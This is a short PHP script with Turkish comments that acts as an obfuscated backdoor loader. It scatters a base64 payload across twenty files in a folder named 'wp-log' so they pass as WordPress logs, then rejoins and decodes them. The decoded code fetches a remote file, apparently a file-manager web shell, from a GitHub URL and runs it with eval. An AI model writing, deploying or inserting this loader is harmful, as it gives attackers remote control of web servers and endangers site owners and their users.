<?php
// Hata raporlama aç
error_reporting(E_ALL);
ini_set('display_errors', 1);

// Base64 ile şifrelenmiş kod
$encrypted_str = 'LyoqKiovQG51bGw7IC8qKioqKioqKi8gLyoqKioqKiovIC8qKioqKioqKi9AZXZhbC8qKioqLygiPz4iLmZpbGVfZ2V0X2NvbnRlbnRzLyoqKioqKiovKHVybGRlY29kZSh1cmxlbmNvZGUocmF3dXJsZGVjb2RlKHJhd3VybGVuY29kZSgiaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2hpbG5ldC9tZXRva2wvbWFpbi9mbS50eHQiKSkpKSkpOy8qKi8=';

// Parça sayısı
$parca_sayisi = 20;

// Her parçanın uzunluğu
$parca_uzunluk = ceil(strlen($encrypted_str) / $parca_sayisi);

// `wp-log` klasörü yoksa oluştur
if (!is_dir('wp-log')) {
    mkdir('wp-log', 0777, true);
}

// Base64 kodunu 20 parçaya böl ve dosyalara kaydet
for ($i = 0; $i < $parca_sayisi; $i++) {
    $parca = substr($encrypted_str, $i * $parca_uzunluk, $parca_uzunluk);
    file_put_contents("wp-log/part{$i}.txt", $parca);
}

// Parçaları oku ve birleştir
$decoded_str = '';
for ($i = 0; $i < $parca_sayisi; $i++) {
    $decoded_str .= file_get_contents("wp-log/part{$i}.txt");
}

// Base64 çöz ve çalıştır
$func_name = 'base64' . '_decode';
$code = $func_name($decoded_str);
eval($code);
?>
